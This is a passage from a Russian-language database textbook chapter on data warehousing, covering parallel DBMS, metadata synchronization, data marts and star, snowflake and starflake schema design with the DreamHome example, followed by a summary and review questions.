Параллельные СУБД могут одновременно выполнять сразу несколько операций с базой данных, разбивая отдельные задачи на малые части так, чтобы они могли быть распределены между несколькими процессорами. Параллельные СУБД должны уметь выполнять параллельные запросы. Иначе говоря, они должны уметь разбивать большие сложные запросы на подзапросы, параллельно запускать отдельные подзапросы на выполнение, а затем собирать вместе полученные результаты. Такие СУБД должны уметь выполнять в параллельном режиме загрузку данных, сканирование таблицы, а также архивирование и резервное копирование данных.
Существуют две основные архитектуры аппаратного обеспечения для выполнения параллельных вычислений, которые могут использоваться в качестве платформы для сервера базы данных в хранилищах данных.
Симметричная мультипроцессорная обработка (Symmetric Multiprocessing — SMP) — это группа тесно связанных процессоров, которые совместно используют оперативную и дисковую память.
Массовая мультипроцессорная обработка (Massively Multi-Processing — ММР) — это группа слабо связанных процессоров, каждый из которых использует свою собственную оперативную и дисковую память.
Обе эти архитектуры параллельных вычислений подробно рассматриваются в разделе 19.1.1.
Метаданные хранилища данных
Существует много других вопросов, связанных с интеграцией программного обеспечения хранилищ данных, однако в этом разделе мы рассмотрим только проблемы, касающиеся интеграции метаданных, т.е. данных о данных (Darling, 1996). Управление метаданными в хранилище данных представляет собой чрезвычайно сложную и многогранную задачу. Метаданные используются в самых разных целях, а управление метаданными является важнейшим вопросом при создании полностью интегрированного хранилища данных.
Основным назначением метаданных является сохранение информации о происхождении данных, с той целью, чтобы администраторы хранилища могли знать историю любого элемента данных, помещенного в хранилище. Однако проблема состоит в том, что метаданные в пределах хранилища данных обладают несколькими функциями, связанными с преобразованием и загрузкой данных, обслуживанием хранилища данных и генерацией запросов (см. раздел 25.2.8).
Метаданные, связанные с преобразованием и загрузкой данных, должны описывать источник данных и любые изменения, внесенные в эти данные. Например, для каждого исходного поля должны храниться такие сведения, как уникальный идентификатор, исходное имя поля, тип источника данных, исходное расположение, включая системное и объектное имя, а также тип преобразованных данных и имя таблицы назначения. Если поле подвергается каким-то изменениям, начиная с простого изменения его типа и вплоть до выполнения над ним сложного набора процедур и функций, то все эти изменения также должны быть записаны.
Метаданные, связанные с управлением данными, описывают способ хранения данных в хранилище. Каждый объект базы данных должен быть описан, включая данные, содержащиеся во всех таблицах, индексах и представлениях. Кроме того, должны быть описаны и любые связанные с этими объектами ограничения. Данная информация хранится в системном каталоге СУБД, но с учетом некоторых дополнительных ограничений, присущих хранилищам данных. Например, метаданные должны описывать любые поля, связанные с обобщенными данными (т.е. итоговыми значениями), включая способ обобщения (т.е. использованную для этой цели функцию). Кроме того, должно быть описано секционирование таблиц, в том числе ключ секционирования, а также диапазон данных, связанных с каждой секцией (раздел 25.6).
Описанные выше метаданные требуются также менеджеру запросов для генерации соответствующих запросов. Менеджер запросов генерирует дополнительные метаданные о выполняемых запросах, которые могут быть использованы для генерации исторических данных обо всех выполненных запросах и их профилях для каждого пользователя, группы пользователей или хранилища данных в целом. Существуют также метаданные, связанные с пользователями запросов, которые включают, например, информацию, описывающую значение терминов “цена” и “клиент” для некоторой базы данных с учетом изменения их смысла с течением времени.
Синхронизация метаданных
Важнейшим вопросом интеграции является синхронизация метаданных разного типа, используемых в пределах всего хранилища данных. Поскольку разные инструменты хранилища данных создают и используют свои собственные метаданные, для достижения полной интеграции требуется сделать так, чтобы эти инструменты могли пользоваться метаданными совместно. Задача в этом случае заключается в синхронизации метаданных между разными программными продуктами различных фирм-разработчиков, использующих разные хранилища метаданных. Например, необходимо идентифицировать нужный элемент метаданных на соответствующем уровне детализации одного программного продукта, потом установить его соответствие другому элементу метаданных на соответствующем уровне детализации другого программного продукта, а затем отрегулировать любые существующие между ними различия в способе кодирования. Эту операцию следует повторить для всех других метаданных, общих для двух программных продуктов. Более того, любые изменения метаданных или даже “мета-метаданных” в одном программном продукте должны быть переданы другому программному продукту. Задача синхронизации двух программных продуктов очень сложна, а потому повторение этого процесса для шести или более продуктов, которые образуют программное обеспечение хранилища данных, может потребовать очень большого расхода ресурсов. Тем не менее синхронизация метаданных обязательно должна быть выполнена. Решить данную проблему можно двумя способами:
с помощью механизмов автоматической передачи метаданных между хранилищами метаданных разных инструментов;
путем создания репозитория метаданных.
В настоящее время ведутся исследования возможных механизмов передачи метаданных. Ранние продукты, построенные на передаче метаданных, имели очень ограниченный успех из-за отсутствия стандарта обмена метаданными. В 1995 году был образован комитет Meta-data Coalition Committee, который разработал спецификацию Metadata Interchange Format (MIF), предназначенную для стандартизации процесса передачи метаданных. В настоящее время она используется фирмами-разработчиками для создания инструментов обмена метаданными. Несмотря на полезность этих продуктов, все же лучше для этой цели использовать репозиторий метаданных.
Репозиторий метаданных объединяет различные типы метаданных в едином хранилище и может синхронизировать и реплицировать метаданные, распределенные по всему хранилищу данных. Таким образом, репозиторий метаданных предоставляет собой источник метаданных для других инструментов хранилища данных. Среди примеров репозиториев метаданных следует назвать PLATINUM Repository фирмы Platinum Technologies, ROCHADE Repository фирмы R & О, Directory Manager фирмы Prisms Solution и Universal Directory фирмы Logic Works.
Инструменты управления и администрирования
Хранилище данных обязательно должно включать инструменты администрирования, предназначенные для управления столь сложной средой. Эти инструменты относительно ограничены в своих возможностях, особенно те, которые хорошо интегрированы с различными типами метаданных и с типичными операциями в хранилищах данных. Инструменты управления и администрирования хранилищ данных должны позволять выполнять такие операции, как:
мониторинг загрузки данных из нескольких источников;
проверка качества и целостности данных;
управление и обновление метаданных;
мониторинг текущей производительности базы данных с целью обеспечения быстрой реакции на запрос и эффективного использования ресурсов;
аудит процессов использования хранилища данных с целью сбора информации о стоимости выполненной каждым пользователем работы;
репликация, разбиение и распределение данных;
поддержка эффективного управления хранилищем данных;
очистка данных;
архивирование и резервное копирование данных;
средства восстановления после сбоя;
управление средствами защиты.
В качестве примеров инструментов управления и администрирования можно назвать пакеты HP Intelligent Warehouse фирмы Hewlett-Packard, FlowMark and Data Hub фирмы IBM, Site Analyzer фирмы Information Builders, Inspect/SQL фирмы Precise Software Solutions, Prism Warehouse Manager фирмы Prisms Solutions, Enterprise Control and Coordination фирмы Red Brick Systems, SAS/CPE фирмы SAS Institute и SourcePoint фирмы Software AG.
Магазины данных
Вслед за появлением и быстрым развитием понятия хранилища данных появилась и близкая ему концепция магазина данных (data mart). В данном разделе дается определение таким системам, указываются побудительные мотивы для их создания, а также освещаются некоторые другие вопросы, связанные с разработкой и использованием магазинов данных.
Магазин Подмножество хранилища данных, которое поддерживает требования данных отдельного подразделения или деловой сферы организации.
Магазин данных содержит некоторое подмножество данных хранилища данных, которое обычно представлено в виде обобщенной информации, связанной с некоторым подразделением или деловой сферой предприятия. Магазин данных может быть независимым или определенным образом связанным с централизованным хранилищем данных.
По мере увеличения размеров хранилища данных для удовлетворения различных потребностей организации потребуется принимать те или иные компромиссные решения. Популярность магазинов данных основана на том очевидном факте, что корпоративные хранилища данных создавать и использовать сложнее. На рис. 25.3 показана типичная архитектура хранилища данных и связанных с ним магазинов данных. Ниже перечислены основные отличительные черты магазина данных от хранилища данных.
Магазин данных отвечает требованиям пользователей только одного из подразделений организации или некоторой ее деловой сферы.
Магазин данных обычно не содержит детальных оперативных сведений (в отличие от хранилища данных).
Поскольку магазин данных содержит меньше информации, чем хранилище, структура информации магазина данных более понятна и проста в управлении.
Существует несколько подходов к созданию магазинов данных. Один из них заключается в создании корпоративного хранилища данных, который может непосредственно использоваться пользователями, а также поставлять сведения для магазинов данных. Другой подход заключается в создании нескольких магазинов данных с возможностью их интеграции в виде единого хранилища данных. Наконец, третий подход основан на создании инфраструктуры корпоративного хранилища данных с одновременным созданием одного или нескольких магазинов данных, предназначенных для удовлетворения насущных бизнес-потребностей организации.
Для магазина данных можно выбрать двухуровневую или трехуровневую архитектуру. При этом хранилище данных (если это хранилище данных поставляет данные для магазина данных) образует первый уровень (в случае необходимости), магазин данных — второй уровень, а рабочая станция пользователя — третий уровень, как показано на рис. 25.3. При этом данные распределены между всеми этими тремя уровнями.
Инструменты разработки данныхИнструменты разработки данных(Второй уровень)(Второй уровень)(Третий уровень)(Третий уровень)Рис. 25.3. Типичная архитектура хранилища данных и магазины данныхРис. 25.3. Типичная архитектура хранилища данных и магазины данных
Инструменты разработки данных
Инструменты разработки данных
(Второй уровень)
(Второй уровень)
(Третий уровень)
(Третий уровень)
Рис. 25.3. Типичная архитектура хранилища данных и магазины данных
Рис. 25.3. Типичная архитектура хранилища данных и магазины данных
Побудительные причины для создания магазинов данных
Существует несколько перечисленных ниже причин, по которым следует создавать магазины данных.
’■ Для предоставления пользователям доступа к данным, которые приходит
ся анализировать чаще других.
Для предоставления данных группе пользователей некоторого отдела или деловой сферы в форме, которая соответствует их коллективному представлению о данных.
Для сокращения времени ответа на запрос (за счет сокращения объема обрабатываемых данных).
Для предоставления данных, структурированных в соответствии с требованиями, предъявляемыми используемыми инструментами доступа к данным. Для многих инструментов доступа к данным (особенно для специальных инструментов разработки данных или многомерного анализа) может потребоваться создать отдельную внутреннюю структуру базы данных. На практике подобные инструменты часто создают свои собственные магазины данных, предназначенные исключительно для поддержки их собственных специфических функций.
Магазины данных обычно содержат меньшее количество данных, а потому такие задачи, как очистка, загрузка, преобразование и интеграция данных, выполняются проще. Следовательно, реализация и настройка магазина данных выполняется проще, чем разработка и реализация корпоративного хранилища данных.
Стоимость реализации магазина данных обычно существенно ниже, чем стоимость создания хранилища данных.
Круг потенциальных пользователей магазина данных более четко определен, поэтому учесть их требования и организовать необходимую поддержку проще, чем в случае корпоративного хранилища данных.
Характеристики магазина данных
Процесс создания и управления магазином данных можно оценить с помощью некоторых основных характеристик, перечисленных ниже.
Функциональность.
Размер базы данных.
Производительность загрузки данных.
Доступ пользователей к данным в нескольких магазинах данных.
Доступ к магазинам данных через Internet/intranet.
Администрирование.
Установка.
Функциональность
Возможности магазина данных возрастают вместе с ростом их популярности. В отличие от небольших и легкодоступных баз данных, некоторые магазины данных должны быть масштабируемы вплоть до гигабайтных размеров и предоставлять средства для выполнения сложного анализа с использованием инструментов разработки данных. Сложность и размер некоторых магазинов данных порой соответствуют сложности и размерам корпоративных хранилищ данных небольшого масштаба.
Размер базы данных
Пользователям магазина данных требуется обеспечить меньшее время реакции системы, по сравнению с временем ответа при обработке запросов в хранилище данных. Однако производительность выполнения запросов падает по мере возрастания размера базы данных магазина. Некоторые фирмы-разработчики магазинов данных исследуют способы сокращения размеров баз данных магазинов с целью повышения их производительности. Например, в программном продукте Pilot Decision Support Suite фирмы Pilot Software поддерживаются динамически регулируемые размерности и иерархии с целью сокращения размера базы данных и времени консолидации данных. Динамические размерности позволяют создавать обобщения по требованию, без их предварительного расчета и хранения в кубе многомерной базы данных (ММБД).
Производительность загрузки данных
В магазине данных должен поддерживаться баланс между двумя критически важными параметрами: временем реакции системы и производительностью загрузки данных. Магазин данных, созданный для быстрого получения ответа на запросы пользователя, будет иметь большое количество сводных таблиц и обобщенных показателей. К сожалению, создание таких таблиц и вычисление этих показателей существенно увеличивает время загрузки данных. Фирмы-разработчики внимательно исследуют этот вопрос и пытаются повысить производительность загрузки. Например, фирма Red Brick разработала технологию Continually Adaptive Indexing TARGETindex, предназначенную для индексирования, которое автоматически и непрерывно адаптируется к постоянно обновляемым данным. В некоторых многомерных базах данных, например в базе данных Arbor Software Essbase, поддерживается частично-последовательное обновление данных, так что структуру ММБД не потребуется изменять при каждом обновлении, что обычно приходилось делать раньше. Дело в том, что в новом варианте обновляются только подверженные изменениям ячейки.
Доступ пользователей к данным в нескольких магазинах данных
Одно из решений этой задачи заключается в репликации данных между различными магазинами данных, или, другими словами, в создании виртуальных магазинов данных. Виртуальные магазины данных являются представлениями нескольких физических магазинов данных или корпоративных хранилищ данных, настроенных согласно требованиям особых групп пользователей. В настоящее время некоторые фирмы- разработчики предлагают специализированные программные продукты для управления виртуальными магазинами данных, например DSS Administrator фирмы MicroStrategy.
Доступ к магазинам данных через Internet/intranet '
Технологии Internet/intranet предлагают пользователям дешевые средства доступа к магазинам и хранилищам данных с помощью таких Web-броузеров, как Netscape Navigator и Microsoft Internet Explorer. Инструменты доступа к магазинам данных через Internet/intranet обычно располагаются между Web-броузером и инструментами анализа данных. Фирмы-разработчики предлагают подобные решения с расширенными возможностями работы в Web-среде, например Information Advantage фирмы MicroStrategy и PilotSoftware фирмы Arbor Software. Эти программные продукты включают компоненты Java и ActiveX. Более подробно вопросы интеграции СУБД в Web-среде рассматриваются в главе 24, “Web-технологии и СУБД”,
Администрирование
Поскольку количество магазинов данных в организации может быстро возрастать, то возникает потребность в централизованном управлении и координации деятельности всех магазинов данных. Сразу после копирования в магазины данные могут стать противоречивыми, поскольку каждый пользователь может изменять их в своем мага-
зине данных с целью выполнения различных видов анализа. Администрирование нескольких магазинов данных в пределах организации — не такая уж простая задача, поскольку для ее решения приходится выполнять поддержку версий, контролировать непротиворечивость и целостность информации, обеспечивать корпоративную безопасность, а также выполнять настройку производительности. Среди подходящих для этой цели программных продуктов следует упомянуть DSS Administrator фирмы MicroStrategy и Site Analyzer фирмы IBL
Установка
Процесс создания магазина данных со временем все больше усложняется. Фирмы- разработчики предлагают программные продукты, называемые “полностью готовыми магазинами данных”, которые на самом деле представляют собой недорогой набор инструментов для работы с магазинами данных. К таким продуктам относятся SmartMart фирмы IBI, Visual Warehouse фирмы IBM и PowerMart фирмы Informatica.
25.6. Проектирование хранилищ данных
В этом разделе описывается метод проектирования базы данных как компонента хранилища или магазина данных, который называется моделированием размерностей (dimensionality modeling). Здесь представлено краткое описание этого метода, а более полное и подробное описание заинтересованный читатель сможет найти в работах Анахори и Мюррея (Anahory and Murray, 1997).
Характеристики данных
При проектировании базы данных для хранилища или магазина данных необходимо иметь представление о том, как они будут использоваться. База данных должна быть спроектирована таким образом, чтобы произвольные запросы пользователей выполнялись с приемлемой производительностью. В хранилище данных большое количество запросов будет относиться к детальным данным, которые могут анализироваться самыми разными способами. Например, при реализации учебного проекта DreamHome у пользователей может возникнуть потребность в получении следующих сведений.
Среднее количество новых клиентов, зарегистрированных в каждом отделении компании в течение последнего месяца, в сравнении с тем же периодом двухлетней давности.
Предполагаемое количество клиентов в каждом крупном городе Великобритании, которые будут арендовать недвижимость в следующем году, вычисленное на основе тенденций изменения количества клиентов в течение последних пяти лет.
Среднее количество сданных в аренду объектов недвижимости с арендной платой выше 700 фунтов стерлингов для каждого отделения компании за последних шесть месяцев.
Общее количество сдаваемых в аренду объектов недвижимости каждого типа, осмотренных потенциальными арендаторами, за каждый месяц 1997 года.
Для ответа на эти запросы потребуется осуществить доступ к детальным сведениям, созданным при выполнении соответствующих транзакций. Пример таких фактических данных из учебного проекта DreamHome, включая сведения об осмотре объектов недвижимости, проверках объектов недвижимости и договорах о сдаче в аренду, приведен в табл. 25.2. Например, по каждому факту осмотра объекта недвижимости следует хранить данные таких атрибутов: номер объекта недвижимости, номер арендатора (осмотревшего объект), дата осмотра и комментарии потенциального арендатора.
Таблица 25.2. Атрибуты детальных данных из учебного проекта DreamHome
Событие
Атрибуты
Осмотр (клиент осматривает объект недвижимости)
Номер объекта недвижимости, номер арендатора (совершившего осмотр), дата осмотра и комментарии клиента
Проверка (сотрудник проверяет состояние объекта недвижимости)
Номер объекта недвижимости, номер сотрудника, дата проверки и комментарии сотрудника,
Договор об аренде (клиент арендует объект недвижимости)
Номер договора, номер арендатора, номер объекта недвижимости, тип оплаты, величина задатка, фактически выплаченный задаток, дата начала аренды, дата окончания аренды
Проектирование схем типа „звезда"
Схема Логическая структура, в центре которой находится таблица фактов (с “звезда” детальными данными), окруженная таблицами размерностей (со ссылочными данными).
Схема “звезда” обладает логической структурой, в центре которой находится таблица фактов с детальными данными, окруженная справочными данными, помещенными в таблицы размерностей. Таблица фактов содержит внешний ключ для каждой таблицы размерностей. Эта структура отражает то, что фактические данные были созданы некими событиями в прошлом и вряд ли изменятся, независимо от того, как они анализируются. Поскольку основная часть информации в хранилище данных представлена в виде фактов, то размер таблицы фактов гораздо больше размера таблиц размерностей. Поэтому важно рассматривать факты как справочные данные, доступные только для чтения и неизменные с течением времени.
Для выделения фактических данных из данных размерностей необходимо установить основные транзакции внутри каждого бизнес-приложения. В учебном проекте DreamHome примерами основных транзакций, связанных с арендой объектов недвижимости, являются следующие: запись сведений об осмотре объекта недвижимости клиентом, запись о проверке состояния объекта недвижимости сотрудником, а также запись о составлении договора на аренду клиентом объекта недвижимости. Для каждой таблицы фактов следует определить ключевые размерности, которые будут использоваться для всех фактов. Рассмотрим схему “звезда” для данных об осмотре объектов недвижимости клиентами, показанную на рис. 25.4.
Каждое событие осмотра клиентами объектов недвижимости представлено с помощью таблицы фактов Property_Viewing в центре схемы “звезда”. Эта таблица окружена потенциальными справочными данными в таблицах размерностей Branch (содержит сведения об отделении компании, в котором зарегистрирован данный объект недвижимости), Property (содержит адрес объекта недвижимости и его тип) и Renter (содержит имя клиента, который осматривал объект недвижимости). Размерность “время” (данные о дате осмотра) включена в таблицу фактов по причине особых характеристик этого типа размерности. Ниже в этом разделе обсуждаются альтернативные способы представления данной размерности в схеме “звезда”, а также использование настраиваемых и ненастраиваемых внешних ключей в таблице фактов.х
Обратите внимание, что показанная на рис. 25.4 схема типа “звезда” отличается от глобальной логической модели данных учебного проекта DreamHome» показанной на рис. 11.6, где таблица Viewing связана только с таблицами Property и Renter.
Property_No Property Address Type Rooms
Puc. 25.4. Схема “звезда” для данных об осмотре объектов недвижимости клиентами: таблица фактов Property ^Viewing окружена таблицами размерностей Branch, Property и Renter
Проектирование таблиц фактов
Рассмотрим сначала вопросы, связанные с проектированием таблицы фактов в центре схемы “звезда”. Основная цель такого проектирования заключается в том, чтобы найти компромисс между ценностью хранимых данных и стоимостью их хранения. Размер таблиц фактов может быть огромным и превышать 1 терабайт (1012 байт). Поэтому для оптимального проектирования базы данных необходимо учесть факторы, перечисленные ниже.
Определение требуемого времени отклика для каждого приложения поддержки принятия решения.
Поиск компромисса между необходимостью использования статистических выборок подмножеств данных и необходимостью обработки детальных сведений.
Определение удаляемых столбцов.
Сокращение размера столбцов таблицы фактов.
Определение наилучшего способа применения настраиваемых и ненастраиваемых внешних ключей.
Определение оптимального подхода для введения в таблицу фактов размерности “время”.
Секционирование таблиц фактов для улучшения их управляемости.
Определение требуемого времени отклика для каждого приложения поддержки принятия решения
Эта цель достигается за счет определения периода времени, максимально допустимого для нормального хода процесса принятия решения, а также требуемого уровня детализации сведений. Например, для получения ответа на вопрос о возможном росте количества сдаваемых в аренду объектов недвижимости в следующем месяце, скорее всего, потребуется знать это количество не за прошедшие шесть месяцев, а за тот же месяц, но за последних два года. Кроме того, необходимый уровень детализации в данном случае может быть сведен к сравнению только обобщенных данных,
без необходимости обращения к детальной информации. Аналогичным образом следует оценить срок хранения данных и требуемый уровень их детализации для каждого приложения поддержки принятия решения.
Поиск компромисса между необходимостью использования статистических выборок подмножеств данных и необходимостью обработки детальных сведений
Сокращения объема хранимой детальной информации можно добиться также за счет сохранения лишь некоторого представительного объема детальных данных, но совместно с разнообразными обобщенными показателями для всего исходного набора данных. Например, для ответа на поставленный выше вопрос может быть достаточно сравнения только среднего уровня спроса на аренду объектов недвижимости в каждом из городов, без обращения к детальным сведениям о сдаче объектов в аренду в каждом отделении компании.
Определение удаляемых столбцов
Все связанные с данным фактом столбцы следует проверить и уточнить необходимость их наличия для получения ответов на требуемые запросы. Например, вряд ли стоит хранить столбцы, содержащие информацию о статусе данных, пространные текстовые описания, некоторые промежуточные значения, обобщенные вычисляемые значения и избыточную информацию из других таблиц, помещенную в данную таблицу с целью повышения производительности запросов.
Сокращение размера столбцов таблицы фактов
Из-за потенциально очень большого размера таблицы фактов даже незначительные изменения размеров отдельных столбцов могут привести к существенному сокращению общего объема всей таблицы. Например, в учебном проекте DreamHome хранилище данных содержит сведения об осмотрах объектов недвижимости за десятилетний период (около 500 000 объектов недвижимости в среднем со 100 осмотрами в год). Тогда сокращение размера одного столбца на 10 байт в каждой строке позволит сэкономить 10x500 000x100x10 = 5 Гбайт дискового пространства!
Определение наилучшего способа применения настраиваемых и ненастраиваемых внешних ключей
Настраиваемый внешний ключ представляет собой уникальный идентификатор сущности, имеющий смысл в реальном мире (например, номер объекта недвижимости (Property^No) или личный номер арендатора (Renter_No)). В противоположность этому, ненастраиваемый внешний ключ просто хранит ссылку на уникальный идентификатор, например идентификатор расположения (Location^No), но не идентификатор отделения (Branch_No), как показано на рис. 25.4.
Основная цель использования настраиваемых внешних ключей заключается в том, чтобы избежать необходимости соединения с родительскими таблицами. Например, запросы об осмотрах, связанных с заданным номером объекта недвижимости или номером арендатора, могут быть выполнены только на основе таблицы Ргор- erty_Viewing. Однако для получения ответа на запрос об осмотрах, связанных с некоторым номером отделения компании, потребуется выполнить соединение таблиц Property^Viewing и Branch, как показано на рис. 25.4. Недостатком использования настраиваемых ключей является то, что если некоторые значения в столбцах внешних ключей изменяются, то потребуется выполнить дорогостоящую процедуру обновления таблицы фактов.
Определение оптимального подхода для введения 6 таблицу фактов размерности „бремя"
Доводы для применения ненастраиваемых ключей в таблице фактов не относятся к размерностям типа “время” или “дата”, так как маловероятно, что значения времени и даты, например даты осмотра объекта недвижимости, будут впоследствии изменены. Как и прежде, действительный формат хранимых размерностей типа “время” или “дата” зависит от требований пользовательских запросов. Так как многие запросы в системах поддержки принятия решений зачастую обладают некоторой исторической перспективой, то производительность выполнения запросов может быть существенно повышена за счет сохранения этой информации в таблице фактов. Есть несколько способов хранения информации о дате и времени (например, физических значений даты и времени) с помощью смещений от некой начальной даты в данной таблице или сохранения диапазона дат.
Секционирование таблиц фактов для улучшения их управляемости
Таблицы фактов могут быть чрезвычайно большими и это может вызвать некоторые проблемы, связанные с сопровождением, резервным копированием и выполнением прочих служебных операций в хранилище данных. Поскольку большинство запросов в каждый момент времени, вероятно, охватывает только часть таблицы фактов, имеет смысл секционировать большие таблицы фактов на малые горизонтальные фрагменты, выделенные на основе заданных интервалов времени. Такой подход может повысить производительность выполнения запросов и упростить работу с таблицами фактов. Избранная стратегия фрагментации должна соответствовать требованиям приложений поддержки принятия решений. Однако при этом важно следить за достигнутой степенью секционирования, поскольку чрезмерно большое количество фрагментов в одной таблице также может служить источником определенных проблем.
Проектирование таблиц размерностей
Завершив создание таблицы фактов, следует приступить к проектированию таблиц размерностей. Для хранения этих таблиц обычно требуется гораздо меньше пространства, поскольку они существенно меньше (< 5 ГБ) таблиц фактов. По этой же причине перестройка таблиц размерностей является менее затратной процедурой, но только при условии, что первичные ключи таблиц фактов остаются неизменными.
Схема “звезда” может использоваться для повышения производительности выполнения запросов путем денормализации справочной информации с образованием единой таблицы размерностей. Измерения в схеме “звезда” обычно проектируются на основе известного использования данных обычными запросами, тогда как большая часть новых запросов, вероятно, будет выполняться за счет анализа таблицы фактов с учетом некоторых ограничений, установленных для единственной размерности. Например, в процессе работы может потребоваться такая информация об осмотрах объектов недвижимости, как:
тип осматриваемой недвижимости;
номер отделения компании, в котором зарегистрирован объект недвижимости;
объекты недвижимости, которыми владеет некоторый частный владелец.
Поскольку все эти запросы накладывают различные ограничения на осматриваемые объекты недвижимости, их выполнение может быть ускорено за счет размещения всей ограничивающей информации в одной таблице. На практике эта цель достигается с помощью денормализации всех дополнительных данных, связанных с объектом недвижимости, в единую таблицу размерности в схеме “звезда” — так, как показано на рис. 25.5 на примере таблицы Property.
Property_No Property_Address TypeRooms Rent
Branch_No
Branch. AddressOwner_No
В NameBType
Puc. 25.5. Проектирование таблицы размерностей Property в схеме “звезда”: а) нормализованная сущность Property; б) де нормализованная сущность Property
Для этого следует взять всю иерархию данных об объектах недвижимости и денор- мализовать ее в одну строку таблицы размерностей Property. Например, в эту таблицу размерности следует поместить атрибут Branch_Address сущности Branch, а также атрибуты BName и ВТуре сущности Business_Owner — как показано на рис. 25.5, б. Этот метод особенно полезен, если потребуется часто осуществлять доступ к нескольким сущностям, связанным с ключевой сущностью размерности. В результате достигается существенное повышение эффективности выполнения запросов, поскольку для доступа к этим атрибутам не приходится дополнительно соединять таблицы. Данный метод не стоит применять в тех случаях, когда дополнительные данные требуются не очень часто, поскольку накладные расходы, связанные со сканированием расширенной таблицы размерностей, могут превысить любой выигрыш в повышении скорости выполнения запроса. Более подробно денормализация рассматривается в главе 9, “Методология физического проектирования реляционных баз данных”,
Схема „снежинка"
Схема Вариант схемы “звезда”, в котором каждая размерность может “снежинка” иметь свои собственные размерности.
Один из вариантов схемы “звезда”, в котором каждая размерность может иметь свои собственные размерности, называется схемой “снежинка”. В этом случае таблицы размерностей не содержат денормализованных данных. Например, схема “снежинка” может содержать нормализованную версию таблицы размерностей Property вместе со связанными с ней таблицами размерностей Branch и Business^Owner — как показано на рис. 25.5, а.
Схема „звезда-снежинка"
Схема “звезда- снежинка”Схема “звезда- снежинка”Гибридная структура, которая включает комбинацию денорма- лизованной схемы “звезда” и нормализованной схемы “снежинка”.
Схема “звезда- снежинка”
Схема “звезда- снежинка”
Рис. 25.6. Схема “звезда-снежинка” данных об осмотрах объектов недвижимости
Наиболее приемлемые схемы баз данных для систем поддержки принятия решений используют комбинацию денормализованной схемы “звезда” и нормализованной схемы “снежинка”. Некоторые размерности могут быть представлены в обеих формах для удовлетворения потребностей разных запросов. Например, на рис. 25.6 показана схема “звезда-снежинка” данных об осмотрах объектов недвижимости. Таблица фактов Property_Viewing по схеме “звезда” окружена денормализованными таблицами Branch, Property и Renter, а по схеме “снежинка” — нормализованными таблицами Branch и Property.
Резюме
Хранилище данных является предметно-ориентированной, интегрированной, привязанной ко времени и неизменяемой подборкой данных, используемых для поддержки процесса принятия решений. Технология хранилищ данных охватывает технологии управления данными и их анализа.
Потенциальными преимуществами технологии хранилищ данных являются высокая прибыль на инвестированный капитал, повышение конкурентоспособности организации, а также повышение производительности труда лиц, ответственных за принятие корпоративных решений.
Считается, что СУБД, предназначенная для оперативной обработки транзакций (OLTP-системы), не подходит для создания хранилища данных, поскольку эти типы систем проектируются с учетом разных наборов требований. Например, OLTP-системы проектируются с учетом максимального повышения пропускной способности обработки фиксированных транзакций, а хранилища данных — для поддержки обработки произвольных запросов.
Основными компонентами хранилища данных являются источники оперативных данных, менеджер загрузки, менеджер хранилища данных, менеджер запросов, детальные, частично и глубоко обобщенные данные, архивные и резервные копии данных, метаданные и пользовательские инструменты доступа.
Менеджер загрузки (или внешний компонент) выполняет все операции, связанные с извлечением и загрузкой данных в хранилище. Эти операции включают простые преобразования данных с целью подготовки их ко вводу в хранилище данных.
Менеджер хранилища данных выполняет все операции, связанные с управлением данными в хранилище. Выполняемые этим компонентом операции включают анализ данных для обеспечения их непротиворечивости, преобразование и слияние данных из разных источников, создание индексов и представлений, денормализацию и вычисление обобщенных значений, архивирование и резервное копирование данных.
Менеджер запросов (или внутренний компонент) выполняет все операции, связанные с управлением запросами пользователей. Операции, выполняемые этим компонентом, включают направление запросов к соответствующим таблицам и планирование выполнения запросов.
Пользовательские инструменты доступа к данным можно разделить на пять основных групп: инструменты составления отчетов и запросов, инструменты разработки приложений, информационные системы руководителя (EIS- инструменты), инструменты оперативной аналитической обработки (OLAP- инструменты) и инструменты разработки данных.-
В технологии хранилищ данных основное внимание уделяется управлению пятью главными информационными потоками: входным, восходящим, нисходящим, выходным и метапотоком.
Входной поток охватывает процессы, связанные с извлечением, очисткой и загрузкой информации из источников данных в хранилище.
Восходящий поток охватывает процессы, связанные с увеличением смыслового наполнения данных в хранилище данных посредством вычисления обобщенных значений, упаковки и распределения данных.
Нисходящий поток охватывает процессы, связанные с архивированием и резервным копированием (восстановлением) информации в хранилище данных.
Выходной поток охватывает процессы, связанные с предоставлением данных пользователям.
Метапоток охватывает процессы, связанные с управлением метаданными (данными о данных).
Требования, предъявляемые к РСУБД, используемым для создания хранилищ данных, включают повышенную производительность загрузки, возможность обработки данных во время загрузки, наличие средств управления качеством данных, повышенную производительностью выполнения запросов, терабайтную масштабируемость по размеру базы данных, масштабируемость по большому количеству пользователей, способность выполнять свои функции в сети, наличие инструментов администрирования хранилища данных, наличие интегрированных средств анализа размерностей и предоставление расширенного набора функции для запросов.
Магазин данных — это подмножество хранилища данных, которое поддерживает требования только некоторого подразделения или определенной деловой сферы организации. Магазины данных характеризуются выполняемыми функциями, размером базы данных, производительностью загрузки, возможностью доступа пользователей к данным в нескольких магазинах данных, возможностью доступа через сети In ternet/intranet, средствами администрирования и развертывания.
В хранилище данных большое количество запросов обращено к фактам, которые анализируются разными способами. Схема “звезда” является логической структурой, в центре которой находится таблица фактов (с фактическими данными), окруженная таблицами размерностей (со ссылочными данными). Таблица фактов содержит внешний ключ для каждой таблицы размерности. Схема “звезда” может использоваться для ускорения выполнения запросов за счет денормализации ссылочной информации в единой таблице размерности.
Вариант схемы “звезда”, в котором каждая размерность может иметь свои собственные размерности, называется схемой “снежинка”. В этом случае таблицы размерностей не содержат денормализованных данных.
Самой подходящей схемой базы данных для систем поддержки принятия решений является некоторая комбинация денормализованной схемы “звезда” и нормализованной схемы “снежинка”, которая называется схемой “звезда-снежинка”. В ней некоторые размерности для удовлетворения потребностей разных запросов могут быть представлены сразу в денормализованном и нормализованном виде.
Вопросы
Поясните смысл каждого из перечисленных ниже терминов, характеризующих свойства данных в хранилище данных:
предметная ориентированность;
интегрированность;
привязка ко времени;
неизменность.
Укажите различия между системами оперативной обработки транзакций (OLTP-системы) и хранилищами данных.
25 Л. Опишите основные преимущества и проблемы использования хранилищ данных.
Нарисуйте схему типичной архитектуры и укажите на ней основные компоненты хранилища данных.
Опишите основные характеристики и укажите функции следующих компонентов хранилища данных:
менеджер загрузки;
менеджер хранилища данных;
менеджер запросов;
метаданные;
пользовательские инструменты доступа.
Назовите действия, связанные с каждым из пяти основных информационных потоков или процессов внутри хранилища данных:
входной поток;
восходящий поток;
нисходящий поток;
выходной поток;
метаданные.
Каких три основных подхода используются фирмами-разработчиками для создания инструментов извлечения, очистки и преобразования данных?
